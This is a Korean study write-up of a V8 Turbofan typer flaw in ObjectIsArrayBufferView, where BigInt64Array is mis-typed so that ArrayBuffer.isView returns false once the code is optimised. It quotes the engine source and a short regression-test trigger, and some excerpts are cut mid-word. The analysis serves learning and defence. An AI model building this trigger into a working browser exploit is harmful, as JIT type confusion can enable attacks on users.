3주

취약점 분석 결과

발생 지점

본 취약점은 **Turbofan**에서 **ArrayBuffer**의 타입 태그 검사 시 **TypedArray** 여부 검사를 약하게 하면서 발생된다. 아래 코드에서 주요한 부분은 만약 ArrayBuffer의 타입이 **TypedArray**도 아니고, **OtherObject**도 아니면 결과적으로 `t->singleton_false_`가 된다.

```
Type Typer::Visitor::ObjectIsArrayBufferView(Type type, Typer* t) {
  // TODO(turbofan): Introduce a Type::ArrayBufferView?
  CHECK(!type.IsNone());
  if (type.Is(Type::TypedArray())) return t->singleton_true_;
  if (!type.Maybe(Type::OtherObject())) return t->singleton_false_;
  return Type::Boolean();
}
```

PoC 설명

regress-398431403는 **BigInt64Array()**의 인스턴스인 **v1**을 만들고, 이를 `(arr).reduceRight(f2, v1)`을 통해 `f2()`로 콜백한다. **acc**엔 **BigInt64Array()**가 전달되며, 최종적으로 `ArrayBuffer.isView(v1(BigInt64Array));`가 만들어진다.

```
// Copyright 2025 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Flags: --allow-natives-syntax --turbofan --no-always-turbofan

const v1 = new BigInt64Array();

function f2(acc, current) {
  return ArrayBuffer.isView(acc);
}
%PrepareFunctionForOptimization(f2);

function f6() {
  let arr = [{}];
  return (arr).reduceRight(f2, v1);
}
%PrepareFunctionForOptimization(f6);

f6();
f6();
%OptimizeFunctionOnNextCall(f6);
f6();
```

ArrayBufferIsView의 **torque** 코드상 정의는 아래와 같이 되어있다.
(*v8/src/builtins/arraybuffer.tq*)

```
// #sec-arraybuffer.isview
transitioning javascript builtin ArrayBufferIsView(arg: JSAny): Boolean {
  // 1. If Type(arg) is not Object, return false.
  // 2. If arg has a [[ViewedArrayBuffer]] internal slot, return true.
  // 3. Return false.
  typeswitch (arg) {
    case (JSArrayBufferView): {
      return True;
```

```
    }
    case (JSAny): {
      return False;
    }
  }
}
```

여기서 **JSArrayBufferView**는 **js-array-buffer.tq**에서 타입 정의가 이루어지는데, 이 중 **PoC**에 사용된 **Bigint64Array**가 포함되어 있다. 결과적으로 **tq**가 **C++ Stub**으로 변환되면 **Ignition interpreter** 단계에선 이를 **TypedArray**로 해석하며 **true**를 내뱉게 된다.

```
@abstract
@doNotGenerateCast
extern class TypedArrayConstructor extends JSFunction
    generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Uint8TypedArrayConstructor extends TypedArrayConstructor
    generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Int8TypedArrayConstructor extends TypedArrayConstructor
    generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Uint16TypedArrayConstructor extends TypedArrayConstructor
    generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Int16TypedArrayConstructor extends TypedArrayConstructor
    generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Uint32TypedArrayConstructor extends TypedArrayConstructor
    generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Int32TypedArrayConstructor extends TypedArrayConstructor
    generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Float16TypedArrayConstructor extends TypedArrayConstructor
```

```
  generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Float32TypedArrayConstructor extends TypedArrayConstructor
  generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Float64TypedArrayConstructor extends TypedArrayConstructor
  generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Uint8ClampedTypedArrayConstructor extends TypedArrayConstr
  generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Biguint64TypedArrayConstructor extends TypedArrayConstructo
  generates 'TNode<JSFunction>';
@doNotGenerateCast
extern class Bigint64TypedArrayConstructor extends TypedArrayConstructor
  generates 'TNode<JSFunction>';
```

이후에 f6()를 계속 호출하면 **acc**엔 **Bigint64TypedArray**로 고정되고 이 때 최적화를 하면 Lowring을 위해 Turbofan에 의해 바로 취약한 코드로 분기 된다. 이 때의 BITSET 상태는 `OtherObject = 0` `TypedArray = 0` 이 되며 **false**가 트리거 된다.

```
Type Typer::Visitor::ObjectIsArrayBufferView(Type type, Typer* t) {
 // TODO(turbofan): Introduce a Type::ArrayBufferView?
 CHECK(!type.IsNone());
 if (type.Is(Type::TypedArray())) return t->singleton_true_;
 if (!type.Maybe(Type::OtherObject())) return t->singleton_false_;
 return Type::Boolean();
}
```